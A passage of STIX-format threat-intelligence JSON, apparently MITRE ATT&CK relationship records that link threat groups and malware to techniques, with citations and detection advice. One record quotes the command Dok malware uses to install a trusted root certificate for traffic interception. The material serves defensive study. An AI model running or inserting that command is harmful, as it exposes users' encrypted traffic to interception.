"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--979812c4-939e-4a7e-96b3-348028db10ce", "created": "2017-05-31T21:33:27.066Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "McAfee GhostSecret", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware has deleted files in various ways, including \"suicide scripts\" to delete malware binaries from the victim. [Lazarus Group](https://attack.mitre.org/groups/G0032) also uses secure file deletion to delete files from the victim.(Citation: Novetta Blockbuster)(Citation: McAfee GhostSecret)", "modified": "2022-07-28T18:47:12.003Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--979bd2a9-bc77-4741-bc79-0badc9e1e98c", "type": "relationship", "created": "2021-03-19T16:26:04.435Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest parti", "url": "https://objective-see.com/blog/blog_0x59.html", "description": "Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}], "modified": "2021-03-22T19:11:35.366Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) installs a launch item using an embedded encrypted launch agent property list template. The plist file is installed in the <code>~/Library/LaunchAgents/</code> folder and configured with the path to the persistent binary located in the <code>~/Library/</code> folder.(Citation: wardle evilquest parti)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--979f2834-66f6-4a30-863e-d63bd1db10a3", "created": "2022-03-30T14:26:51.842Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.  Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "modified": "2022-04-20T03:22:28.134Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97a083ff-40ef-4e4c-9837-4ab1537a063c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", "description": "Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/"}, {"url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging", "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", "source_name": "Kaspersky Lab SynAck May 2018"}], "modified": "2021-09-08T19:22:44.416Z", "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running services.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)(Citation: Kaspersky Lab SynAck May 2018)", "relationship_type": "uses", "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--97a62430-6a83-4ead-b8c7-ce47f5d0cac0", "created": "2023-08-07T16:06:54.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:54:08.443Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has staged ZIP files in local directories such as, `C:\\PerfLogs\\1\\` and `C:\\User\\1\\` prior to exfiltration.(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97a68907-3642-4f23-aeae-55ad5bbd7b86", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "modified": "2020-01-17T19:43:39.459Z", "description": "[FruitFly](https://attack.mitre.org/software/S0277) takes screenshots of the user's desktop.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97aa311a-04b1-473f-a298-1d230c82e881", "type": "relationship", "created": "2021-09-14T16:04:26.821Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group WastedLocker June 2020", "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}], "modified": "2021-09-14T18:41:10.494Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) contains junk code to increase its entropy and hide the actual code.(Citation: NCC Group WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97aea4a9-1016-40d0-8869-9b4c4d4eec72", "type": "relationship", "created": "2022-01-18T18:07:56.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}], "modified": "2022-01-18T18:07:56.219Z", "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has attempted to stop endpoint detection and response (EDR) tools on compromised systems.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97b13d6e-ad8d-42db-90cf-90c7189763cb", "type": "relationship", "created": "2022-02-17T14:31:53.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Shuckworm January 2022", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", "description": "Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."}], "modified": "2022-02-17T14:31:53.351Z", "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can use a malicious VBS file for execution.(Citation: Symantec Shuckworm January 2022)", "relationship_type": "uses", "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97b55f86-908f-4de2-ba9a-d65005b0f4dc", "type": "relationship", "created": "2022-03-16T18:54:15.645Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA416 Europe March 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022."}], "modified": "2022-03-16T19:26:38.793Z", "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) has used servers under their control to validate tracking pixels sent to phishing victims.(Citation: Proofpoint TA416 Europe March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", "target_ref": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--97b6c034-b96c-4532-8dd7-51fedcdcd31f", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T20:02:23.592Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\n\nFurthermore, monitor network traffic for homographs via the use of internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites). Also monitor and analyze traffic patterns and packet inspection for indicators of cloned websites. For example, if adversaries use HTTrack to clone websites,  <code> Mirrored from (victim URL)</code> may be visible in the HTML section of packets. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--97beb535-e226-4581-a329-de9fabe7a49d", "created": "2022-08-08T20:28:05.869Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepySnail](https://attack.mitre.org/software/S1024) can use Base64 to encode its C2 traffic.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T20:28:05.869Z", "relationship_type": "uses", "source_ref": "malware--d23de441-f9cf-4802-b1ff-f588a11a896b", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97bf5604-4b99-4851-85ea-83018d90c82c", "type": "relationship", "created": "2022-02-01T14:23:04.459Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "modified": "2022-02-03T21:50:34.095Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a compromised router to serve as a proxy between a victim network's corporate and restricted segments.(Citation: Kaspersky ThreatNeedle Feb 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--97bf812b-0bc4-4bfa-9a03-872cacffd272", "created": "2024-02-14T21:33:31.129Z", "revoked": false, "external_references": [{"source_name": "Trellix Darkgate 2023", "description": "Ernesto Fern\u00e1ndez Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.", "url": "https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T21:33:31.129Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) use Nirsoft Network Password Recovery or NetPass tools to steal stored RDP credentials in some malware versions.(Citation: Trellix Darkgate 2023)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97c1a236-cc9d-4433-9fe8-382a8c03196a", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for newly constructed files in user directories.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97c225e6-64ad-42af-8cc4-4fb4deea39fc", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}, {"source_name": "hexed osx.dok analysis 2019", "url": "http://www.hexed.in/2019/07/osxdok-analysis.html", "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}], "modified": "2021-10-06T02:04:09.845Z", "description": "[Dok](https://attack.mitre.org/software/S0281) installs a root certificate to aid in [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) actions using the command <code>add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename</code>.(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)", "relationship_type": "uses", "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--97ca11ce-025d-4e46-93d7-deadd4bcd780", "created": "2024-03-28T14:28:29.965Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye TRITON Dec 2017", "description": "Blake Johnson, Dan Caban, Marina Krotofil, Dan Scali, Nathan Brubaker, Christopher Glyer. (2017, December 14). Attackers Deploy New ICS Attack Framework \u201cTRITON\u201d and Cause Operational Disruption to Critical Infrastructure. Retrieved January 12, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:01:35.184Z", "description": "In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) developed, prior to the attack, malware capabilities that would require access to specific and specialized hardware and software.(Citation: FireEye TRITON Dec 2017)", "relationship_type": "uses", "source_ref": "campaign--45a98f02-852f-49b2-94c0-c63207bebbbf", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--97ce46f9-4277-4700-99bb-b8bad6dfb393", "created": "2023-03-26T16:14:43.503Z", "revoked": false, "external_references": [{"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T16:14:43.503Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) bypassed MFA set on OWA accounts by generating a cookie value from a previously stolen secret key.(Citation: Volexity SolarWinds)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97ceb4a8-dd9c-402b-8a80-0d0f2c4f5d5a", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for contextual data about an account, which may include a username, user ID, environmental data that may mask the presence of user accounts they create or modify. On macOS, identify users with an userID under 500 and the <code>Hide500Users</code> key value in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file set to <code>TRUE</code>.(Citation: Cybereason OSX Pirrit)", "source_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason OSX Pirrit", "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97cfa5ec-e6b6-40cc-b73c-283f4a5d8ded", "type": "relationship", "created": "2020-12-07T19:44:08.456Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-07T19:44:08.456Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) can monitor removable drives and exfiltrate files matching a given extension list.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97d152a1-4cbd-4088-b23e-99354a730e47", "type": "relationship", "created": "2020-10-19T23:51:06.043Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-19T23:51:06.043Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97d2fa02-bccc-43c3-8c1d-e3667b710e5e", "type": "relationship", "created": "2019-01-29T21:40:37.743Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Cobian Aug 2017", "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."}], "modified": "2019-04-23T21:09:54.680Z", "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to perform voice recording on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)", "relationship_type": "uses", "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97d77da2-9e26-4168-b14c-9d26093aa5be", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2020-03-18T00:52:18.853Z", "description": "Before writing to disk, [Kwampirs](https://attack.mitre.org/software/S0236) inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--97da1ec3-e4cd-451e-83be-d53adabb78ed", "created": "2022-03-07T19:20:38.012Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can use a custom binary scheme to encode messages with specific commands and parameters to be executed.(Citation: NCSC Cyclops Blink February 2022)", "modified": "2022-04-16T23:02:08.777Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97e042c8-f1fe-4980-bc08-86cb7c6e1fc9", "type": "relationship", "created": "2020-06-08T18:06:36.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."}], "modified": "2020-06-08T18:06:36.317Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify the MAC address on an infected host.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--97e31242-661f-4aae-866d-26d32fbb88c4", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Password filters will also show up as an autorun and loaded DLL in 